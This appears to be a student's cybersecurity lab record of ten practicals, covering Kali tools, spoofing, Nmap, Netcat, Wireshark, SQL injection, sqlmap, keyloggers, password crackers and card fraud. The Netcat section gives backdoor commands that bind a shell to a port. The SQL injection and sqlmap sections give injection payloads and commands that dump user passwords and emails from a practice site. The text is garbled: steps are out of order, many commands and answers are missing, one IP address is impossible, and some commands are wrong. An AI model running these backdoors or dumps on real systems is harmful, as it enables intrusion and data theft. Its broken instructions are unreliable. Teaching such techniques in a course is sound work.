CS 502
CS 502
CS 502
PRACTICAL: 1
Aim: Install Kali Linux. Examine the utilities and tools available in Kali Linux
and find out which tool is best for finding cyber-attack/vulnerabilities.
Step 10: Click on Install button to start the VMware Workstation installation.
Step 6: Go to folder Virtual Machine > Kali Linux and open .vmx file
Prajapati Dharmesh CS (Cyber Security-3150714) 210280116502
Information gathering:
1. ace-voip
Prajapati Dharmesh CS (Cyber Security-3150714) 210280116502
2. DotDotPwn
3. Nmap
4. Firewalk
5. dnstracer
6. Cisco-torch
7. CaseFile
Vulnerability Analysis:
1. BED
2. BBQSQL
3. Doona
4. openvas
5. sqlmap
Exploitation Tools:
1. Armitage
2. BeEF
3. ShellNoob
4. Commix
5. Metasploit Framework
Wireless Attacks:
1. Airbase-ng
2. Aircrack-ng
3. Aireplay-ng
4. Airodump-ng
5. Airmon-ng
6. Fern Wi-Fi Cracker
7. Ghost Phisher
8. Kismet
Forensics Tools
1. Cuckoo
2. p0f
3. pdf-parser
4. RegRipper
5. Dumpzilla
Web Applications:
1. apache-users
2. fimap
3. hURL
4. PowerFuzzer
Prajapati Dharmesh CS (Cyber Security-3150714) 210280116502
5. sqlsus
6. w3af
7. WebShag
8. WebSploit
9. WPScan
Stress Testing:
1. t50
2. SlowHttpTest
3. FunkLoad
4. Reaver
5. rtpflood
6. mdk3
7. ipv6-toolkit
8. iaxflood
9. DHCPig
• Best tools for finding cyber attacks or Vulnerabilities:
1. Metasploit
2. Netsparker
3. Burp Suite
4. Nmap
Prajapati Dharmesh CS (Cyber Security-3150714) 210280116502
PRACTICAL: 2
Aim: Evaluate network defense tools for IP Spoof and DOS attack.
• IP Spoofing:
Spoofing is a specific type of cyber-attack in which someone attempts to use a
computer, device, or network to trick other computer networks by masquerading as a
legitimate entity. It's one of many tools hackers use to gain access to computers to
mine them for sensitive data, turn them into zombies (computers taken over for
malicious use), or launch Denial-of-Service (DoS) attacks. Of the several types of
spoofing, IP spoofing is the most common.
IP spoofing is the creation of Internet Protocol (IP) packets which have a modified
source address in order to either hide the identity of the sender, to impersonate
another computer system, or both. It is a technique often used by bad actors to
invoke DDoS attacks against a target device or the surrounding infrastructure.
Sending and receiving IP packets is a primary way in which networked computers and
other devices communicate, and constitutes the basis of the modern internet. All IP
packets contain a header which precedes the body of the packet and contains
important routing information, including the source address. In a normal packet, the
source IP address is the address of the sender of the packet. If the packet has been
spoofed, the source address will be forged.
DDoS attacks will often utilize spoofing with a goal of overwhelming a target with
traffic while masking the identity of the malicious source, preventing mitigation
efforts. If the source IP address is falsified and continuously randomized, blocking
malicious requests becomes difficult. IP spoofing also makes it tough for law
enforcement and cyber security teams to track down the perpetrator of the attack.
Spoofing is also used to masquerade as another device so that responses are sent to
that targeted device instead. Volumetric attacks such as NTP Amplification and DNS
amplification make use of this vulnerability. The ability to modify the source IP is
inherent to the design of TCP/IP, making it an ongoing security concern.
Tangential to DDoS attacks, spoofing can also be done with the aim of masquerading
as another
Prajapati Dharmesh CS (Cyber Security-3150714) 210280116502
While IP spoofing can’t be prevented, measures can be taken to stop spoofed packets
from infiltrating a network. A very common defense against spoofing is ingress
filtering, outlined in BCP38 (a Best Common Practice document). Ingress filtering is
a form of packet filtering usually implemented on a network edge device which
examines incoming IP packets and looks at their source headers. If the source headers
on those packets don’t match their origin or they otherwise look fishy, the packets are
rejected. Some networks will also implement egress filtering, which looks at IP
packets exiting the network, ensuring that those packets have legitimate source
headers to prevent someone within the network from launching an outbound
malicious attack using IP spoofing.
• DOS Attack
DoS (denial of service) is a type of attack in which a threat actor sends bogus traffic
to the targeted entity. The target is unable to distinguish between the attack traffic and
legitimate traffic and ends up exhausting its resources towards attack traffic. This way
the legitimate traffic gets denied of the resources rendering the target useless.
Prajapati Dharmesh CS (Cyber Security-3150714) 210280116502
The attackers try to make the attack sophisticated by making the requests/traffic seem
like normal traffic and making the frequency and source of traffic random.
e.g. if a website can handle 100 people/second clicking the signup button, an attacker
only has to send 100 fake requests/second to make it so no legitimate users can sign
up. This kind of attack can easily be controlled by blocking the IP etc. but when this
is launched through a lot of different sources, mostly compromised PCs, this is called
distributed denial of services or DDoS. This is tough to detect and block as the
attacking sources are distributed among the legitimate users.
Volume based
The attackers send large volume of traffic/packets/requests to the target thus eating up
all the resources. The requests choke the bandwidth and cause denial to other
requests. Includes flooding attacks (ICMP and UDP).
Protocol based
Here the attacker targets the resources apart from bandwidth. The target here is
servers, firewalls, IPS, other network equipment etc. The traffic is continuously
processed leading to denial of services for legitimate requests.
Prajapati Dharmesh CS (Cyber Security-3150714) 210280116502
Common attack types: - NTP amplification, Smurf attack, Fraggle attack, SYN
floods, Ping of death etc.
These attacks are comprised of what appears to be legitimate application layer. ( layer
7) It sends requests to the server that are intended to crash/overflow it. The attackers
can either overflow the application server with a large amount of requests or either
block the resources of the server by sending extremely slow incomplete requests thus
letting the sever wait for the complete request.
Depending on the answers to the above questions you can select a tool.
TOOL considerations
PRACTICAL: 3
Nmap is a free and open source utility for network discovery and security
auditing.
Many systems and network administrators also find it useful for tasks such as
network inventory, managing service upgrade schedules, and monitoring host or service
uptime.
Nmap uses raw IP packets in novel ways to determine what hosts are available
on the network, what services (application name and version) those hosts are offering,
what operating systems (and OS versions) they are running, what type of packet
filters/firewalls are in use, and dozens of other characteristics.
It was designed to rapidly scan large networks, but works fine against single
hosts.
Nmap Command:
Scan a large of IP address
Port Scanning
Display Open Port
Service Version Detection
Nmap Scan Types
A variety of scans can be performed using Nmap. Below are the types of
scans:
o TCP SCAN
A TCP scan is generally used to check and complete a three-way handshake between you and
a chosen target system. A TCP scan is generally very noisy and can be detected with almost
Prajapati Dharmesh CS(Cyber Security – 3150714) 210280116502
little to no effort. This is “noisy” because the services can log the sender IP address and
might trigger Intrusion Detection Systems.
o UDP SCAN
UDP scans are used to check whether there is any UDP port up and listening for incoming
requests on the target machine. Unlike TCP, UDP has no mechanism to respond with a
positive acknowledgment, so there is always a chance for a false positive in the scan results.
However, UDP scans are used to reveal Trojan horses that might be running on UDP ports or
even reveal hidden RPC services. This type of scan tends to be quite slow because machines,
in general, tend to slow down their responses to this kind of traffic as a precautionary
measure.
o SYN SCAN
This is another form of TCP scan. The difference is unlike a normal TCP scan, nmap itself
crafts a syn packet, which is the first packet that is sent to establish a TCP connection. What
is important to note here is that the connection is never formed, rather the responses to these
specially crafted packets are analyzed by Nmap to produce scan results.
o ACK SCAN
ACK scans are used to determine whether a particular port is filtered or not. This proves to be
extremely helpful when trying to probe for firewalls and their existing set of rules. Simple
packet filtering will allow established connections (packets with the ACK bit set), whereas a
more sophisticated stateful firewall might not.
o FIN SCAN
Also a stealthy scan, like the SYN scan, but sends a TCP FIN packet instead. Most but not all
computers will send an RST packet (reset packet) back if they get this input, so the FIN scan
can show false positives and negatives, but it may get under the radar of some IDS programs
and other countermeasures.
o NULL SCAN
Null scans are extremely stealthy scan and what they do is as the name suggests — they set
all the header fields to null. Generally, this is not a valid packet and a few targets will not
know how to deal with such a packet. Such targets are generally some version of windows
and scanning them with NULL packets may end up producing unreliable results. On the other
hand, when a system is not running windows this can be used as an effective way to get
through.
o XMAS SCAN
Just like null scans, these are also stealthy in nature. Computers running windows will not
respond to Xmas scans due to the way their TCP stack is implemented. The scan derives its
name from the set of flags that are turned on within the packet that is sent out for scanning.
XMAS scans are used to manipulate the PSH, URG and FIN flags that can be found in the
TCP header.
Prajapati Dharmesh CS(Cyber Security – 3150714) 210280116502
o RPC SCAN
RPC scans are used to discover machines that respond to Remote Procedure Call services
(RPC). RPC allows commands to be run on a certain machine remotely, under a certain set of
connections. RPC service can run on an array of different ports, hence, it becomes hard to
infer from a normal scan whether RPC services are running or not. It is generally a good idea
to run an RPC scan from time to time to find out where you have these services running.
Nmap Commands
In this section of Nmap Tutorial, I’ll be listing down the various commands you can use in
Nmap along with their flag and usage description with an example on how to use it.
Prajapati Dharmesh CS(Cyber Security – 3150714) 210280116502
PRACTICAL: 4
Netcat or NC is a utility tool that uses TCP and UDP connections to read and write in a
network. It can be used for both attacking and security. In the case of attacking. It helps us
to debug the network along with investing it. It runs on all operating systems.
To start NC, the most basic option we can use the help command. This will show us all the
options that we can use with Netcat. The help command is the following one: nc -h
Connecting to a Server
we can create a web server using netcat command.for that we require two device in
same network.
example:if two device are running one act as a server and another act as a client
client send connection request to server using following command:
command:curl ip address:port
Chatting
Netcat can also be used to chat between two users. We need to establish a connection
before chatting. To do this we are going to need two devices. One will play the role of
initiator and one will be a listener to start the conversation and so once the connection is
established, communication can be done from both ends.First of all we will use windows 10
machine which will play role of Listener.Second we will use Kali linux machine which will
play role of initiator. First, we will have to create a listener. We will use the following
command to create a listener:
nc -lvvp 4444
where,
[-l]: Listen Mode
[vv]: Verbose Mode {It can be used once, but we use twice to be more verbose}
[p]: Local Port
ow, it’s time to create an initiator, for this we will just provide the IP Address of the System
where we started the Listener followed by the port number.
Prajapati Dharmesh CS(Cyber Security – 3150714) 210280116502
File Transfer
Netcat can be used to transfer the file across devices. Here we will create a scenario where
we will transfer a file from a windows system to Kali Linux system. To send the file from
the Windows, we will use the following command.
nc -v -w 20 -p 8888 -l file.txt
example:we create a two device called device 1 and device 2 and create a simple file called
first.txt. device 1 act as a client and device 2 act as a listener(server).then after device 1 is
connected to device 2 and then after redirect file from deivce 1 to device 2 using following
command
Command:: nc -zv 10.0.2.4 1234 > file.txt
Creating a backdoor
We can also create a backdoor using NC. To create a backdoor on the target system that we
can come back to at any time. Command for attacking a Linux System.
nc -l -p 2222 -e /bin/bash
For Creating Backdoor for windows system.
nc -l -p 1337 -e hack.exe
This will open a listener on the system that will pipe the command shell or the Linux bash
shell to the connecting system.
nc 192.168.1.35 2222
For the purpose of the record maintenance, better readability and future references, we will
save the output of the Netcat. To do this we will use the parameter -o of the Netcat to save
the output in the text file.
nc 192.268.17.43 21 -v -o/root/Desktop/Result.txt
Prajapati Dharmesh CS (Cyber Security – 3150714) 210280116502
PRACTICAL-5
1. Select the first ICMP Echo Request message sent by your computer, and expand the
Internet Protocol part of the packet in the packet details window.
Solution :
3. Within the IP packet header, what is the value in the upper layer protocol field?
Solution :
Protocol: ICMP(1)
4. How many bytes are in the IP header? How many bytes are in the payload of the IP
data-gram? Explain how you determined the number of payload bytes.
Solution :
According to above Screenshot, the header length is 20 bytes and the total length is 56 bytes.
Therefore, the payload of the IP data-gram should be 36 bytes (56 bytes – 20 bytes).
Prajapati Dharmesh CS (Cyber Security – 3150714) 210280116502
5. Has this IP data-gram been fragmented? Explain how you determined whether or not
the data-gram has been fragmented.
Solution :
Considering the above Screenshot, the red marked part, which is under flags section, Don’t
fragment bit is set to 0, so the data-gram is not fragmented.
6. What is the value in the Identification field and the TTL field?
Solution :
Time to Live: 64
Prajapati Dharmesh CS (Cyber Security – 3150714) 210280116502
7. What is the IP address and TCP/UDP port number used by your client computer
(source)?
Solution : 1. TCP
The above screenshot is of TCP in which the Source IP Address is: 192.168.1.11 and Source
Port is: 44552
2. UDP
The above screenshot is of UDP in which the Source IP Address is: 192.168.1.2 and Source
Port is: 60000
Prajapati Dharmesh CS (Cyber Security – 3150714) 210280116502
The above screenshot is of TCP in which the Destination IP Address is: 52.114.16.119 and
Destination Port is: 443
2. UDP
The above screenshot is of TCP in which the Destination IP Address is: 192.168.1.11 and
Destination Port is: 45516
Prajapati Dharmesh CS (Cyber Security – 3150714) 210280116502
PRACTICAL-6
SQL injection is a method that gain unauthorized access of the web application database
through a malicious code. sql injection attack consists of an inserion or injection a sql
query via the input data from the client application. .
In some situations, an attacker can escalate an SQL injection attack to compromise the
underlying server or other back-end infrastructure, or perform a denial-of-service attack.
A successful SQL injection attack can result in unauthorized access to sensitive data, such
as passwords, credit card details, or personal user information. Many high-profile data
breaches in recent years have been the result of SQL injection attacks, leading to
reputational damage and regulatory fines. In some cases, an attacker can obtain a
persistent backdoor into an organization's systems, leading to a long-term compromise
that can go unnoticed for an extended period.
There are a wide variety of SQL injection vulnerabilities, attacks, and techniques, which
arise in different situations. Some common SQL injection examples include:
1. Retrieving hidden data, where you can modify an SQL query to return additional
results.
2. Subverting application logic, where you can change a query to interfere with the
application's logic.
3. UNION attacks, where you can retrieve data from different database tables.
4. Examining the database, where you can extract information about the version and
structure of the database.
• Retrieving hidden data:
Consider a shopping application that displays products in different categories. When the
user clicks on the Gifts category, their browser requests the URL:
https://insecure-website.com/products?category=Gifts
This causes the application to make an SQL query to retrieve details of the relevant
products from the database:
Prajapati Dharmesh CS (Cyber Security – 3150714) 210280116502
The restriction released = 1 is being used to hide products that are not released. For
unreleased products, presumably released = 0.
The application doesn't implement any defenses against SQL injection attacks, so an
attacker can construct an attack like:
https://insecure-website.com/products?category=Gifts'--
The key thing here is that the double-dash sequence -- is a comment indicator in SQL,
and means that the rest of the query is interpreted as a comment. This effectively removes
the remainder of the query, so it no longer includes AND released = 1. This means that all
products are displayed, including unreleased products.
Going further, an attacker can cause the application to display all the products in any
category, including categories that they don't know about:
https://insecure-website.com/products?category=Gifts'+OR+1=1--
The modified query will return all items where either the category is Gifts, or 1 is equal to
1. Since 1=1 is always true, the query will return all items.
Many instances of SQL injection are blind vulnerabilities. This means that the application
does not return the results of the SQL query or the details of any database errors within
its responses. Blind vulnerabilities can still be exploited to access unauthorized data, but
the techniques involved are generally more complicated and difficult to perform.
Depending on the nature of the vulnerability and the database involved, the following
techniques can be used to exploit blind SQL injection vulnerabilities:
Prajapati Dharmesh CS (Cyber Security – 3150714) 210280116502
• You can change the logic of the query to trigger a detectable difference in the
application's response depending on the truth of a single condition. This might involve
injecting a new condition into some Boolean logic, or conditionally triggering an error
such as a divide-by-zero.
• You can conditionally trigger a time delay in the processing of the query, allowing you
to infer the truth of the condition based on the time that the application takes to respond.
• You can trigger an out-of-band network interaction, using OAST techniques. This
technique is extremely powerful and works in situations where the other techniques do
not. Often, you can directly exfiltrate data via the out-of-band channel, for example by
placing the data into a DNS lookup for a domain that you control.
The majority of SQL injection vulnerabilities can be found quickly and reliably using Burp
Suite's web vulnerability scanner.
SQL injection can be detected manually by using a systematic set of tests against every
entry point in the application. This typically involves:
• Submitting the single quote character ' and looking for errors or other anomalies.
• Submitting some SQL-specific syntax that evaluates to the base (original) value of the
entry point, and to a different value, and looking for systematic differences in the
resulting application responses.
• Submitting Boolean conditions such as OR 1=1 and OR 1=2, and looking for
differences in the application's responses.
• Submitting payloads designed to trigger time delays when executed within an SQL
query, and looking for differences in the time taken to respond.
• Submitting OAST payloads designed to trigger an out-of-band network interaction
when executed within an SQL query, and monitoring for any resulting interactions.
Most instances of SQL injection can be prevented by using parameterized queries (also
known as prepared statements) instead of string concatenation within the query.
Prajapati Dharmesh CS (Cyber Security – 3150714) 210280116502
The following code is vulnerable to SQL injection because the user input is concatenated
directly into the query:
String query = "SELECT * FROM products WHERE category = '"+ input + "'";
This code can be easily rewritten in a way that prevents the user input from interfering
with the query structure:
Parameterized queries can be used for any situation where untrusted input appears as data
within the query, including the WHERE clause and values in an INSERT or UPDATE
statement. They can't be used to handle untrusted input in other parts of the query, such as
table or column names, or the ORDER BY clause. Application functionality that places
untrusted data into those parts of the query will need to take a different approach, such as
white-listing permitted input values, or using different logic to deliver the required
behavior.
For a parameterized query to be effective in preventing SQL injection, the string that is
used in the query must always be a hard-coded constant, and must never contain any
variable data from any origin. Do not be tempted to decide case-by-case whether an item
of data is trusted, and continue using string concatenation within the query for cases that
are considered safe. It is all too easy to make mistakes about the possible origin of data,
or for changes in other code to violate assumptions about what data is tainted.
• Wrapping up:
This would have got you a clear idea of what a SQL Injection is and how should we
prevent these attacks.
However, it is highly recommended to test against this type of attack every time when a
system or website with a database is being tested. Any left database or system
vulnerabilities can cost a company‘s reputation and a lot of resources to restore the whole
system.
As testing against this injection helps to find the most important security vulnerabilities, it
is also recommended to invest in your knowledge and testing tools.
Prajapati Dharmesh CS (Cyber Security – 3150714) 210280116502
If Security Testing is planned, then testing against SQL Injection should be planned as
one of the first testing parts.
Prajapati Dharmesh CS (Cyber Security – 3150714) 210280116502
PRACTICAL: 7
To test for this, we use SQLMAP. To look at the set of parameters that can be
passed, type in the terminal,
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs
Here, –dbs lists all the available databases.
Prajapati Dharmesh CS (Cyber Security – 3150714) 210280116502
To try and access any of the databases, we have to slightly modify our
command. We now use -D to specify the name of the database that we wish
to access, and once we have access to the database, we would want to see
whether we can access the tables. For this, we use the –tables query.
If we want to view the columns of a particular table, we can use the following
command, in which we use -T to specify the table name, and –columns to
query the column names. We will try to access the table ‘users’.
-T command is generally used to display table. in our example we saw the ta
ble name users and this table generally show the columns of the table.
Command::
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D
acuart -T users --columns
Prajapati Dharmesh CS (Cyber Security – 3150714) 210280116502
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D
acuart -T users -C uname --dump
Prajapati Dharmesh CS (Cyber Security – 3150714) 210280116502
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D
acuart -T users -C pass --dump
Prajapati Dharmesh CS (Cyber Security – 3150714) 210280116502
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D
acuart -T users -C email --dump
Prajapati Dharmesh CS (Cyber Security – 3150714) 210280116502
Practical-8
Keyloggers
Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of
recording the keys struck on a keyboard, typically covertly, so that a person using the
keyboard is unaware that their actions are being monitored.
Keyloggers are a particularly insidious type of spyware that can record and steal
consecutive keystrokes (and much more) that the user enters on a device.
Software Keylogger:- This is something that is installed on the hard drive. This type of software is
also called spy software. Now the software keylogger can also be used by parents to monitor their
kids, and it is also used for other activities. This software keyloggermay be better, but it is sometimes
detectable and can also be remove.
Prajapati Dharmesh CS(Cyber Security-3150714) 210280116502
PRACTICAL-9
The general process password cracker follows involves these four steps:
THC-Hydra:
• Hydra work with different approach to perform bruce force attack in order
to guess the right username and password
• Hydra is used for research and security consultants to show how easy it
would be gain uauthorized access to a system remotely
HashCat:
PRACTICAL-10
Aim: Consider a case study of cyber crime, where the attacker has
performed on line credit card fraud. Prepare a report and also list the laws
that will be implemented on attacker.
.
1. Phishing:
Problem
Solution
Problem
Solution
3. Skimming
Problem
• Credit card skimming is a most popular offline method used by
criminals to steal personal information, which can also lead to
identity theft, at a point of sale.
Solution
• Inspect outdoor credit card readers for sign they may have been
tampered with before using them.
Prajapati Dharmesh CS(Cyber Security-3150714) 210280116502
• Section 66b: this section describes the penalties for fraud receiving
stolen communication devices or computers and confirms a
possible three-year prison sentence.